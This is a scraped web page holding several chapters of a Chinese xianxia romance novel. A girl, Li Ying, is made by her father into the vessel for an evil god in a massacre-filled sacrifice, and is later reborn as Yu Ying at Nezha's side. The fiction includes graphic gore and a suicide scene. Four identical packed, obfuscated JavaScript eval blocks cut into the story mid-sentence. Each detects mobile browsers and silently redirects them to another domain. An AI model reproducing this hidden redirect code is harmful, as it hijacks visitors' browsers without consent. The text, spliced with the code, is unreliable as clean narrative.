;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647626|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有在这时,她才能窥见这个女人的一丝柔情。 但也只有片刻而已,褚云玺放下剑,像是宣布她是罪犯般,语气冰冷道:“都是因为你。” 小姑娘愣在原地,双眼微微睁大,像是没反应过来似的。 见状,女人蹲下身子,掌心轻轻放在她头顶,继续重复道:“都是你啊,因为你,他们才会搬走,如今这世道,他们能去哪呢?” 像是被嫌恶的小兽般,她声音颤抖,没了往日的清脆明亮,嘴唇嚅嗫着:“…因为…我?” 褚云玺轻笑:“是啊,都怪你。” 她不明白,为什么阿宝只是趴在墙头与自己说话,就必须要搬走?她急得眼眶红了,提起裙子就往门外跑去。 她要找到阿宝,要道歉,要…要做什么呢?她自己也不知道。 但褚云玺轻易就抓住了她,大门“哐当”一声上了锁,黎应无助的拍着门:“让我出去!!我要去找她!!” 女人的背影消失在回廊尽头,没人理会她的哭喊。 那之后,黎应再也没哭过,她开始明白,眼泪和哀求在这个家里毫无意义。 · 变故出现在某个雪天,褚云玺的院落位于最东侧,与黎昭然的住处相隔甚远,两人关系也实在微妙,通常都是黎昭然去寻她,又被赶出去。 只是第二天教导剑术的时候,黎应吃的苦头比昨日更多,渐渐的,褚云玺也不再冷言冷语,但黎应知道,这位性情孤傲的人,绝不会轻易低头。 既然她厌恶黎昭然,为何不离去?接生她的婆子偷偷告诉她:“因为夫人爱你呀,小小姐。” “她每日将我拒之门外,如何是爱我的?” 小姑娘正是需要爱的年纪,换谁都受不了这样的对待,可她唯一的反击方式就是偷偷在花粉过敏的褚云玺被子里藏花瓣。 后来,她不再去找褚云玺了,只反复的钻研剑术,直到那柄一直陪着她的剑承受不住断裂,黎昭然终于投来了赞赏的眼神。 她知道,这份“赞赏”可以换一柱香的自由。 黎应跑到城外的白梅林,躺在积雪上发呆,阳光透过枝桠照在脸上,暖融融的。 突然,一枝白梅掉在她脸上。 梅树上传来少女的轻笑,她见黎应这副呆愣的样子起了兴致,又摘了花瓣撒了她满身。 “小丫头,你叫什么名字?” 分明是花中诞生的精怪,在外是断不能扯上关系的,可她听到自己说:“黎应。” “喔——就是那个黎家呀。” 对方半分提及自己名字的意思都没有,黎应扑棱下头上的花瓣抬头道:“你又是何人?” 少女轻轻笑着:“黎家的人不是最爱求仙问道,怎么连我的姓名都不知?” 少女如愿以偿看到黎应气鼓鼓的样子,慢慢开口道:“吾乃九千岁。” “你真的活了九千岁?” “只是名字而已啦,笨。” 九千岁跃下梅枝,落到她身前,她呢喃道:“真像呀。” 22. 怨憎会 现在,已经过了这么久了啊。 九千岁问道:“云玺和他关系如何?云玺爱他吗?” 黎应仔细想了想:“不爱。” 她移开视线,似乎是在思虑着什么,黎应见天色渐晚匆匆道别离去了。 “阿应,记得来找我呀。”快要走远时,她听到后面的花灵如此说道。 回府的路上,黎应摸到袖子里不知何时多出的一枝白梅,花苞紧闭,却在月光下泛着盈润的光泽。 · 巫者,通灵也。 黎应第一次见到那把剑时,窗外的梅花正开得凄艳。 剑身通体雪白,在烛火下泛着冷光,剑脊上刻着繁复的族印,像一条盘踞的蛇。 她被族中寄予厚望,希望能在今后殷商的请神祭祀上获得青睐,为家族谋得更大的利益。 族中长老枯槁的手指抚过剑身,发出沙哑的笑声:“应儿,这是你的了。” 黎应跪在祠堂冰冷的青石板上,额头抵着手背。 “谢长老赐剑。”她接过剑的瞬间,剑柄上的族印亮起暗红的光,刺痛她的掌心。 黎应咬住嘴唇没有出声,耳边却传来一声几不可闻的叹息。 · 褚云玺又在发疯。 黎应站在门外,听着屋内瓷器碎裂的声音,手中汤药的热气在寒夜里凝成白雾。 褚云玺将镶金玉枕砸向墙壁,碎裂金玉将她的脸划出一道道口子。 “滚出去!”她披头散发,赤红的双眼瞪着黎应,“你们黎家没一个好东西!” 药碗在黎应手中稳稳当当。她八岁便能在疾风中刺中飘落的梅花,这点动静还吓不到她,但心脏仍像被细绳勒紧般疼痛。 “把药喝了。”黎应将碗放在唯一完好的矮几上,“明天请神大典,我得寅时起身。” 褚云玺安静下来,她拖着铁链走到黎应面前,青白手指抓住少女手腕。 “不能去。”褚云玺声音嘶哑,“他们会吃了你。” 黎应笑了。 她笑起来时眼里盛着碎光,与褚云玺年轻时一模一样。 “他说这次请神成功,就给你解了镣铐。” “骗子!”褚云玺猛地推开她,汤药泼在黎应雪白的祭服上,洇开一片褐黄,“不能相信他!” 黎应低头擦拭衣襟,却被褚云玺大力掐住下巴,她眼神恍惚:“你这双眼睛…太像我了…” 月光从窗外斜切进来,将两人分割成明暗两半。 “母亲。”黎应轻声唤道,“我昨天看见陈副将了。” 铁链哗啦作响。 褚云玺踉跄后退,撞翻了烛台,黑暗中黎应摸到她的手腕,解开那个从不离身的玉镯——当年将军的定情信物,如今磨得只剩薄薄一片。 “明日寅时三刻,西角门。”黎应将玉镯塞进褚云玺掌心,“他会在那里等你。” 褚云玺的呼吸变得急促,黎应摸到她掌心那道疤,是当年为黎昭然挡箭留下的。 如今这道疤正抵着玉镯内壁的刻字——“生死与共”,陈副将的字迹。 “为什么?”褚云玺声音发颤。 黎应想起昨夜梅林中所见。 褚云玺靠在陈副将肩头,鬓边白发被细心拢到耳后,那一刻她倒像回到金戈铁马的岁月。 月光下陈副将取出个布包,里面是把迷你陌刀——褚云玺当年横扫战场的兵器。 “因为…”黎应将额头贴在褚云玺骨节凸起的手背上,“我想看您再使一次陌刀。” · 天光微亮时,黎应发现窗边系着个褪色剑穗,她解下剑穗系在自己剑柄上,听见身后传来窸窣声。 “真走啦?”花妖阿长叼着梅枝从梁上倒挂下来,发间落满晨霜,“我还以为你们要抱头痛哭一场呢。” 她叫九千岁,黎应嫌弃太拗口了,于是给她起了个小名,美名其曰表示她听起来活得长。 黎应没接话,她抚摸着剑穗上干涸的血迹,将剑横在阿长颈间:“你昨晚故意引我去梅林的。” 梅枝啪嗒落地。阿长眨了眨眼,伸手捏住黎应脸颊:“小没良心的,我这不是看你天天对着云玺那样心里难受嘛!” 剑尖颤了颤,阿长趁机化作花瓣溜走,又在门边聚成人形:“说真的,你放走她,黎昭然那边…” “他巴不得。”黎应冷笑,“一个废掉的将军,早该处理了。” 阿长盯着她看了很久,凑近嗅了嗅:“你身上有股腐味。”她指尖点在黎应心口,“从这里发出来的。” 院外传来脚步声。 阿长瞬间变回梅枝簪在黎应发间,黎昭然的声音随即响起:“祭服怎么脏了?” 黎应抬头。 父亲站在逆光处,玄色祭袍上金线绣的饕餮纹张牙舞爪,他目光扫过空荡荡的里屋,轻笑一声:“云玺回家了?” “嗯。”黎应直视他的眼睛,阳光照进来,她这才发现黎昭然瞳孔边缘泛着诡异的青灰色,像蒙了层尸蜡。 黎昭然伸手取下她发间梅枝,阿长在识海里尖叫一声,黎应感觉有温热血珠顺着太阳穴滑下。 “明日请神大典。”黎昭然将梅枝碾碎在掌心,“你可是主角。” 待他走远,阿长才龇牙咧嘴地现形:“老东西手真黑!”她揉着被掐断的花枝,正色道:“阿应,我们逃吧。” “逃?”黎应擦掉脸上血痕,指尖沾的血竟是诡异的青黑色,“我得看看,黎家究竟要请什么神。” 阿长抱住她,花妖身上有雪融化的气息,冷得黎应一个激灵。 “你会死的。”阿长声音闷在她肩头。 黎应扳开她手指,同时庭院里传来乐师调试编钟的声音,荒诞诡谲。 “那就陪我走到最后。” · 请神那日,黎府上下张灯结彩,檐角垂落的朱红缎带在风中翻卷,祭坛高筑于庭院中央,石阶上刻满诡异的符文,族中长老们身着玄色礼袍,手持青铜铃。 黎应一袭素白祭服立于阶前,她手中握着那柄雪白长剑,剑锋映着天光,冷得像截霜骨。 阿长隐在围观的人群中,指尖死死掐进掌心,她闻到空气中浮动的腥甜,绝不是供品的香气,而是某种更腐朽的东西,从地底、从黎府每一寸砖缝里渗出。 “吉时到——” 长老拖长的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647627|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尾音未落,天际阴沉,乌云吞没残阳,狂风骤起,祭坛四周的火盆燃起幽蓝火焰。 黎应踏上第一阶台阶。 脚下传来黏腻的触感,她低头看去,石阶不知何时浸满了暗红液体,人群却恍若未觉。 阿长想冲上前,却被屏障弹开,是黎昭然袖中坠下的铜钱,落地成阵,将她隔绝在外。 “好孩子……”那声音从剑柄传来,族印的纹路不知何时蔓延到她手腕,如根系扎进皮肉,“把你的眼睛给我……” 剑身变得滚烫,黎应抬头,祭坛顶端悬浮着一团模糊的黑影,形如扭曲的人影,却有千百只手从中伸出。 “来了!”长老们伏地高呼,“神降——” “阿应!”阿长的声音穿透嘈杂的祭典,她拼命撞击着铜钱阵,指尖渗出淡粉色的灵光,却仍无法突破。 黎应想回头,可她的身体已不受控制。她的脚再次抬起,迈向祭坛中心。 “好孩子……”那声音从她心底响起,黏腻如毒蛇缠绕,“把你的‘眼睛’给我……” ——原来如此。 难怪祭祀要准备血和“祭品”,哪有什么神灵,只是满足他自己的贪欲罢了。 黎府是祭坛,族印是枷锁,长剑是媒介,而她——是容器。 她踏上最后一阶,黑影猛地膨胀,化作铺天盖地的黑雾,将整个祭坛笼罩。 黑雾中伸出无数手臂,抓住台下族人,惨叫声几乎要穿破黑雾。 黎应站在原地动弹不得,皮肤下有什么东西在游走,像是无数细小的虫蚁,顺着血管爬向她的心脏。 “阿应!跑啊!!!”这一次,阿长的声音伴随着法阵破碎的声音传来。 黎应猛地转头,看见阿长浑身浴血,身躯已如残烛般黯淡,强行破阵导致的反噬几乎撕碎她的灵体。 “你蠢吗?!不要过来!走!!” 祭坛下已是一片血海。 有人的头颅滚到台阶边,眼睛还睁着,有人被三只手臂同时撕开,脏器下雨般砸在供桌上。 黎昭然站在血泊中央,玄色祭袍纤尘不染,嘴角噙着满足的笑意。 “终于成了。”他低语,“以全族血肉为祭,以亲女为容器……这千年怨气,终将为我所用!” 黎昭然要的,就是让它寄生在黎应体内,再以血脉为引,将其炼化为己用,如此才为长生之术。 黑气已爬上她的脖颈,侵蚀她的神智。 阿长踉跄着冲上祭坛,一把抓住黎应的手腕。 “阿应!看着我!” 黎应的眼白已被黑雾浸染,可阿长仍死死盯着她。 怨气在她体内翻涌,意识被撕扯成碎片,她耳边只剩下邪祟的低语和族人濒死的惨叫。 可阿长的手紧紧攥着她的手腕,固执地不肯松开。 “记得吗…”她的声音轻得像风,随时都会消散,“你说要叫我阿长…因为听起来活得长……” 黎应的瞳孔涣散,黑气已爬上她的脸颊,可阿长仍在笑,笑得眼泪都落下来。 “…我骗了你,”她的身体开始透明,“我其实是从灵山诞生的花妖,是…为了送你去死的……” 23. 死 灵山的雪终年不化。 一株白梅在佛殿前摇曳,某日听经时得了灵智。 老住持抚须而笑:“你既借佛光成形,便该了却一桩因果。” “去引她走上命定之路。” 水镜中那个练剑的少女正在雪地里翻滚,木剑被对面高大的男人一记横劈斩成两段,虎口渗出的血珠落到雪地里,她却始终没有放下剑。 她听见自己说:“好。” 那时她刚下山,为了尽快偿还因果,她甚至想过直接杀死她,却不小心遭了害,变成本体,快要枯萎的时候是褚云玺将她种到地里。 那时,她似乎说了什么,但她没有听清。 她踏进黎府的时候,却见到小姑娘接住落下的花瓣,然后塞进嘴中,她好像尝到了什么美味般,又往嘴里塞了一把。 后来,少女躺在雪地里,冻疮开裂的手还握着剑,睡梦中都在发抖,夜里偷偷舔舐伤口的样子更是让她不忍。 她早该按计划现身,引她走向毁灭,却躲在梅枝间看了整整三年。 三年间,她学会了人间许多事。 比如黎应偷藏的饴糖会粘住油纸,比如冻疮膏要混着雪水揉开才有效,再比如黎昭然每月十五都会消失整夜。 她看到那个瘦小的身影一次次在鞭下挺直脊背,她想起佛前听经时,曾有香客说梅花最是傲骨。 此刻跪在雪地的少女,倒比她那株生在佛前的本体更像梅。 阿长并指抵在她眉心。 炽白的光华炸开时,黎应看到花妖眼底映出自己的倒影—— 那么小,那么狼狈,却又那么鲜活地存在着。 “至少这次要……救下你。” 阿长的身体寸寸碎裂,化作无数粉白的梅花瓣,飘散在风中。 若是能回到过去,她一定会告诉那个偷偷舔舐伤口的小姑娘,告诉她,这个世界上有很多好吃的,甜甜的东西。 告诉她可以在日头明媚的时候出去放纸鸢,可以不用练剑练到掌心血肉模糊。 可惜,不会有如果了。 她看到阿长最后对她笑,唇瓣轻启道:“活下去。” 然后,彻底消散。 心脏像是被人生生剜去,痛得她几乎跪倒在地,可下一秒,那股痛楚化作滔天的怒火。 她缓缓站起身,怨气在她周身翻滚。 “黎昭然。”她冷冷开口,声音好似混着千万个声音,剑锋直指黎昭然,“你去死吧。” 黎昭然慢条斯理地抽出腰间佩剑。 “你的剑术可都是我教的。”他轻声道,“就凭你,也妄想杀我?” 话音未落,他的身影闪至黎应身前。 铛—— 黎应勉强架住,虎口震裂,鲜血顺着剑柄滴落,她咬牙后退数步,胸口剧烈起伏。 “怎么?就这点本事?”黎昭然冷笑,剑势猛烈,逼得她节节败退。 男人微笑着抬剑。 他教出来的徒弟,每一招弱点都了如指掌。 第一剑挑断她脚筋,第二剑刺穿她持剑的手腕,一剑划破她的肩膀,鲜血喷溅。 再一剑刺穿侧腹,她闷哼一声,撑着剑才勉强不彻底跪地。 黎昭然居高临下地看着她,剑尖抵在她的咽喉。 “你本可以成为我最完美的容器。”他叹息,“可惜,你太不听话了。” 黎应咳出一口血,却笑了,宛如地狱爬出的恶鬼。 “父亲……”她自嘲道,“你教我的剑术里,可没这一招。” 她猛地抬手,抓住他的剑刃,任由锋利的刃口割破掌心,鲜血淋漓。 黎昭然一怔,还未反应过来,黎应已借力暴起,长剑向前刺去。 剑锋贯穿他的心口。 黎昭然嘴角溢出血沫,癫狂大笑:“你以为……这样就能杀了我?” 黑雾炸开,两人同时被震飞。 黎应重重摔在祭坛边缘,浑身浴血,几乎站不起来,黎昭然踉跄几步。 “你……杀不了我……”他喘息着,眼中癫狂更甚,“我早已……与神共生!” 黎应撑着剑,摇摇晃晃地站起身。 “那又如何?”她抹去嘴角的血,“我本就没想活着离开。” 剑光闪过,头颅飞起。 黎应在千万只手臂抓住自己的瞬间,将剑刃横在了脖颈上。 “一起死吧。” 喉管割裂的疼痛比想象中轻柔。 黎应仰面倒在血泊里,看着怨气如洪流从自己伤口喷涌而出,与黑雾纠缠撕咬。 黎昭然的无头躯体正在融化,像蜡烛般一截截矮下去。 黎应已说不出话,但她的眼神在笑。 笑他狂妄,笑他愚蠢。 真好,她模糊地想,至少不用死在那个笼子里。 黑雾吞噬了黎昭然,他的皮肤寸寸皲裂,血肉被怨气啃噬,骨骼在惨叫中粉碎。 他挣扎着伸出手,似乎想抓住她,可最终,只抓住了一缕飘散的风。 意识消散的边缘,有人轻轻握住了她的手。 那触感太过熟悉,黎应用尽最后的力气转动眼球,看到阿长半透明的身影跪坐在身旁。 “阿长?”她发不出声音,只能在心里呼唤,“你还在啊……” 花妖的幻影比月光还淡,指尖却真实地擦过她眉心血痕。 那里不知何时多了一道嫣红钿纹。 形如梅枝,又似剑伤。 “我借了佛光化形……”阿长的声音从很远的地方传来,“总要还的。” “阿长…”她在心里说,“等等我…” 可有人不让她走。 眉心突然灼痛起来,阿长留下的那点佛光死死拽着她魂魄。 她仰面倒在遍地尸骸中,最后看见的,是自天边而来,乘着仙鹤的道人。 她想笑,可喉咙里只有血在翻涌。 · 与应猛地睁开眼,发现自己被哪吒紧紧搂在怀中。 少年一手扣着她的后脑将她按在胸前,另一手燃起三昧真火抵在她颈间金纹上,灼热与刺痛让她瞬间清醒。 “醒了?”哪吒声音沙哑,额角渗出细密汗珠,“你刚才差点把整条街都掀了。” 与应这才注意到四周景象—— 街道两侧房屋门窗尽碎,地面龟裂出蛛网般的痕迹,几个来不及逃跑的官兵被往生绫捆成粽子倒吊在树上,那位妇人抱着孩子缩在墙角,惊魂未定地望着她。 “我……”与应刚开口就哽住了。 喉间似有千万根钢针在扎,脖颈上的金纹如同活物般蠕动,每一次呼吸都带来烧灼般的痛楚。 哪吒捏住她下巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647628|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迫使她抬头。 “看着我,别想那些乱七八糟的。”他指尖燃起一点灵光按在她眉心,“你是与应,乾元山金光洞太乙真人座下弟子,我的……” 他顿了顿,耳尖微红,“我的小师妹。” 破碎的记忆退去,只留下几片零散的。 黎应、褚将军、阿长、弑父、邪神。 这些名字和画面在她脑海中横冲直撞,却怎么也拼凑不出完整的图案。 她痛苦地抱住头,感觉颅骨内有什么东西在疯狂生长,要顶破天灵盖钻出来。 “疼……”她无意识地呢喃,指甲深深掐入哪吒手臂。 少年眉头都没皱一下,反而将她搂得更紧:“忍着。”他转向那位妇人,眼神凌厉如刀,“你对她说了什么?” 妇人颤抖着跪伏在地:“民妇只是…只是认出了小小姐…她是褚将军的…” “够了!”哪吒厉声打断,绣球从他袖中飞出,悬在妇人头顶发出危险的红光,“再敢多说一个字——” “哪吒!”与应抓住他的手腕,“别……” 绣球不甘地转了两圈,悻悻飞回主人袖中,哪吒冷哼一声,打横抱起与应:“我们走。” “等一下,您认识我…”她望向妇人,顿了顿,“……褚将军?” 褚宴眼中泪光闪动:“是将军将我从战乱中救了回来,还为我赐名褚宴,后来我为报恩随将军出征,也是亲眼看着将军……” “放我下来。”与应轻拍他胸口,哪吒瞪着她,最终还是不情不愿地松了手。 她走到褚宴面前蹲下,指尖轻触对方怀中婴儿的脸颊,一缕金光从她指间流入孩子体内,婴儿咯咯笑起来,挥舞着小手去抓她的头发。 “这个送给孩子。”与应解下身上一枚金铃系在婴儿襁褓上,“能保平安。” 褚宴泪如雨下:“小小姐和将军一样心善…当年将军也是这般,明明自己都……” 哪吒一把拽起与应:“走了!” 与应最后回头望去,只见褚宴抱着婴儿久久跪在原地,身影越来越小,最终消失在视野中。 风声呼啸,与应将脸埋在哪吒肩头,少年身上淡淡的莲花香混着血腥气,奇异地安抚着她翻腾的思绪。 风火轮急转直下,落在一条小溪边,溪水潺潺,映出两人交叠的身影。 他扳过与应的肩膀,直视她的眼睛:“听着,不管你是谁,是黎应还是与应,是将军之女还是乾元山弟子——”他喉结滚动,“你都是我……最重要,最不能失去的人。” 阳光透过树叶间隙洒在哪吒脸上,将他眼尾那抹红映得如同朝霞。 哪吒颤抖着抱紧她,将脸埋在她发间:“别再吓我了……” 与应抬手,抚上他紧绷的脊背:“我想起来了……我是黎应,也是与应。”她声音轻得像叹息,“我的身体里…封着当年黎昭然召唤的邪神怨气。” 天下大乱,众生苦不堪言,怨从心生,兵戈亦会带来戾气。 而那些怨气与天下戾气共鸣,所以每逢战乱,封印就会松动,可现在,伐纣将起,往生绫已压不住怨气。 哪吒捏住她下巴,强迫她直视自己:“我不管你是容器还是什么,你听着——”他眼中燃着灼人的火焰,“有我在,谁都别想动你。怨气也好,邪神也罢,敢冒头我就把它们烧得渣都不剩。” 24. 求不得 与应望着他倔强的眉眼,笑道:“自大狂。” “我是认真的!”哪吒掐她脸颊,“你笑什么?” 与应凑近他耳边,轻声道:“我笑你明明担心得要死,还非要装凶。” 她舔了下他耳垂,“甜死了。” 哪吒触电般弹开,整张脸涨得通红:“你!” 与应大笑着跳起来往林中跑去,哪还有半点虚弱的模样。 哪吒愣了片刻才反应过来被骗,气得跺脚:“与应!你给我站住!” 少女银铃般的笑声惊起一群飞鸟,她回头冲他做鬼脸:“来抓我呀,哪吒!” 哪吒抄起乾坤圈就追了上去,两人一前一后在林间追逐,惊得松鼠乱窜,野兔飞奔。 与应故意放慢速度,待哪吒即将抓住她时又突然加速,气得少年哇哇大叫。 “耍赖!用腾云术算什么本事!” “又没规定不能用!” 哪吒突然停下,捂着胸口踉跄两步:“嘶…伤口……” 与应立刻折返:“怎么了?是不是花瓣……唔!” 哪吒一把抱住偷袭成功的猎物,得意洋洋:“抓到你了。” 与应气得捶他:“幼稚!” 哪吒收紧手臂,下巴搁在她发顶:“别动,让我抱会儿。”他声音低沉,“刚才……真的吓到我了。” 与应安静下来,脸颊贴着他胸膛,少年心跳如擂鼓,又快又重。 “哪吒。”她轻声唤道。 “嗯?” “我们回去吧,回去把樱桃种了。” · 樱桃树苗在微风中轻轻摇曳,嫩绿的叶片上还挂着晨露。 与应蹲在刚挖好的土坑旁,指尖轻抚过树苗脆弱的根系,忽然想起很多年前黎府那株永远等不到结果的海棠。 “发什么呆?”哪吒用沾满泥土的手背蹭了下她的鼻尖,留下一道泥痕,“再不给它安家,太阳该晒蔫了。” 与应回过神来,看着眼前少年卷到肘间的衣袖和腰间胡乱系着的混天绫,竟有些恍惚。 曾几何时,她连幻想这样的场景都是奢侈,有人陪她种一株会开花结果的树,而不是孤零零地对着永远不开花的木桩练剑。 “这里土不够肥。”她收敛思绪,将树苗小心放入坑中,“玉泉山的仙土应该…” 话未说完,哪吒已经变戏法似的从乾坤袋掏出一捧土壤,得意地挑眉:“早准备好了。” 与应认出那是莲池边的灵土,最适合滋养草木,她接过土的手指微微发抖——当年阿长也曾为她偷过一捧这样的土,就为了让她院里的海棠能多开几日花。 “怎么?不够?”哪吒见她不动,又抓出一把,“池子边多的是,够把这山头都种满樱桃。” 与应摇头,将灵土细细铺在树根周围。 泥土特有的湿润气息钻入鼻腔,恍惚间她看到记忆中的自己,十指鲜血淋漓的小黎应,正用伤痕累累的手掌扒开冻土,埋下不知第几颗注定不会发芽的种子。 “黎府的海棠……从来不会结果。”她无意识地喃喃自语。 哪吒培土的动作顿了顿,阳光穿透树叶的间隙,在他脸上投下斑驳的光影。 与应这才惊觉失言,急忙去拿水壶,却被哪吒按住手背。 “这颗会。”少年声音笃定,将樱桃核放进她掌心,“玉泉山的品种,一年就结果。” 浇水时,与应颤抖起来。 清水在阳光下划出银亮的弧线,却在落地前变成了记忆中纷纷扬扬的大雪。 黎应跪在雪地里,木剑断成两截,黎昭然的声音从高处传来:“捡起来。剑在人在,剑断人亡。” 她伸手去够碎片,锋利的木刺扎进掌心,鲜血在雪地上绽开触目惊心的红梅。 远处廊下,褚云玺死死攥着窗沿,指节发白。 “与应!” 哪吒的呼唤将她拽回现实,水壶歪倒在一边,清水浸透了她和哪吒的衣摆。 少年紧紧攥着她的肩膀:“又看见了?” 与应勉强点头,却发现自己正无意识摩挲着左手掌心,那里本该有无数疤痕,如今却只剩下薄薄一层茧子。 哪吒抓起她的手按在自己锁骨的花瓣伤口上:“疼吗?” 花瓣蹭过掌心的触感让她浑身一颤。 这处伤口本该早就愈合,可哪吒偏偏用法术维持着它,就像她固执地记得那些不该记得的往事。 “傻子。”她轻声说,却任由他握着她的手在伤口上停留。 哪吒低头,在她掌心尚未触碰过的位置狠狠划了一道,新的花瓣层层叠叠绽开,与她曾经留在那里的齿痕交相辉映。 “现在你也有份了。”他得意地展示新增的伤口,仿佛这是什么值得炫耀的勋章。 与应望着他孩子气的笑容,胸口泛起酸涩和暖意。 她碾碎那些花瓣,在自己锁骨相同的位置画了朵小小的莲花:“扯平。” 哪吒愣住,耳尖以肉眼可见的速度变红,他慌乱地抓起铲子继续培土,却差点铲到自己的脚。 树苗栽好后,与应取出樱桃,那些从玉泉山带回来的果子已经有些蔫了,但在阳光下依然红得剔透。 她小心地掰开果肉,将核上的果络一丝丝清理干净。 “听说樱桃树死后,会从根系长出新的树苗。”她将果核放在两人刚垒好的小土堆上,“一代接一代,永远不死。” 哪吒正用混天绫擦手,闻言嗤笑:“有我在,它敢死试试?等结果了,第一个给你吃。” 黎应站在树下用手接着花瓣,花瓣粉粉白白,还带着晨露,她鬼使神差的塞进嘴里,却眼前一亮。 分明是苦的,却说好吃。 “与应?”哪吒伸手在她眼前晃了晃,“又走神。” 她眨去眼底的水汽,掰开半颗樱桃:“现在就能吃。” 哪吒就着她手咬走果肉,指尖不经意擦过她唇瓣,与应下意识舔了舔,尝到一丝莲花味,是哪吒伤口沾上的。 少年凑近,鼻尖几乎贴上她的:“甜吗?” 与应点头,却在心里默默补充:甜得让人想哭。 阳光将两人的影子投在新栽的树苗上,交叠的影子随着风轻轻摇晃,仿佛多年前那场永远停不下来的大雪终于化了。 与应悄悄将脸颊贴在哪吒肩头。 若能死在开花时节,该多好。 她望着稚嫩的树苗想道。 至少不必看见凋零。 · 晨光微熹,陈塘关的街道上已有了几分萧索。 与应站在李府门前,手指绞着衣袖。 哪吒站在她身旁,察觉到她的紧张,伸手捏了捏她的指尖:“怎么了?又不是没见过我娘。” 与应抿了抿唇,低声道:“……不一样。” 她从未告诉过哪吒,她记忆里的母亲从未抱过她。 褚云玺是将军,是战士,是永远挺直脊背的女人,唯独不是会弯腰拥抱孩子的母亲。 她记得自己摔破了膝盖,疼得眼泪直掉,可褚云玺只是站在廊下,冷声道:“自己站起来。” 她记得自己第一次练剑磨破了掌心,鲜血顺着剑柄滴落,可母亲只是淡淡地递来一块帕子,说:“擦干净,继续。” 她记得……母亲从未牵过她的手。 可殷夫人不一样。 · 门开了。 殷素知挽着竹篮站在门内,鬓角银丝在晨光中泛着温柔的光泽。 她先是一怔,随即眼角笑纹舒展开来:“应儿?吒儿?” 殷素知替两人倒了茶,又端出一碟桂花糕,柔声道:“路上辛苦了吧?先垫垫肚子。” 与应低头看着碟子里精致的糕点,幼时墙头的小丫头曾丢给她一颗糖,久违的让她做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647629|172776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了好梦的糖。 她怔怔伸手,拿起一块,咬了一口。 甜得让人眼眶发热。 殷素知看着她,轻声问:“怎么样?甜吗?” 与应指尖一顿,低声道:“嗯,很甜。” 她的眼神柔软得像一泓春水,没有审视,没有冷漠,只有纯粹的关切。 与应那时想过,若她有母亲,是不是也会像殷夫人这般,会抱抱自己的孩子,会为她缝衣服,会在夜里挑灯等她。 她想起记忆里某个模糊的片段—— 年幼的她发着高热,昏昏沉沉地躺在床上,隐约听见母亲在门外与人争执。 “她只是个孩子!”那是褚云玺的声音,却比平日多了几分颤抖。 “正因如此,才更该狠心。”黎昭然的嗓音冰冷,“若她连这点苦都受不住,如何承载神临?” “可她若死了呢?!” “那就换一个。” 门外沉默了很久,最终,她听见母亲低低地说了一句:“……你会遭到报应的。” 那是褚云玺唯一一次为她争辩。 也是唯一一次,她听见母亲的嗓音里……带着哭腔。 “与应?” 哪吒的声音将她拉回现实。 她这才发现自己的手指紧紧攥着茶杯,指节泛白,殷素知担忧地看着她,轻声道:“应儿,可是不舒服?” 与应摇了摇头,勉强笑了笑:“……没事。” 殷素知叹了口气,伸手轻轻抚了抚她的发顶。 与应浑身一僵。 “好孩子,”殷素知柔声道,“若有什么心事,可以同我说。” 与应张了张嘴,却一个字也说不出。 她很想问—— 母亲,你为何从不抱我? 母亲,你恨我吗? 母亲……你有没有哪怕一刻,后悔过? 可她最终只是低下头,轻声道:“……谢谢夫人。” 哪吒在一旁看着,眉头紧锁。 他站起身,一把拉起与应:“娘,我们出去走走。” 殷素知了然地点点头,温声道:“去吧,晚些回来吃饭。” 陈塘关的街道上,行人稀少。 纣王失政,赋税沉重,街边不少店铺都已关门,偶尔有衣衫褴褛的孩童跑过,又很快被大人拉回阴暗的巷子里。 哪吒牵着与应的手,沉默地走了一段,忽然开口:“你母亲……对你好吗?” 与应脚步一顿。 她望着远处灰蒙蒙的天际,轻声道:“……她教我练剑。” “就这样?” “就这样。” 哪吒捏了捏她的手指:“我娘不一样。” 与应侧头看他。 少年仰着脸,阳光落在他锋利的眉眼上,却映出一丝罕见的柔软。 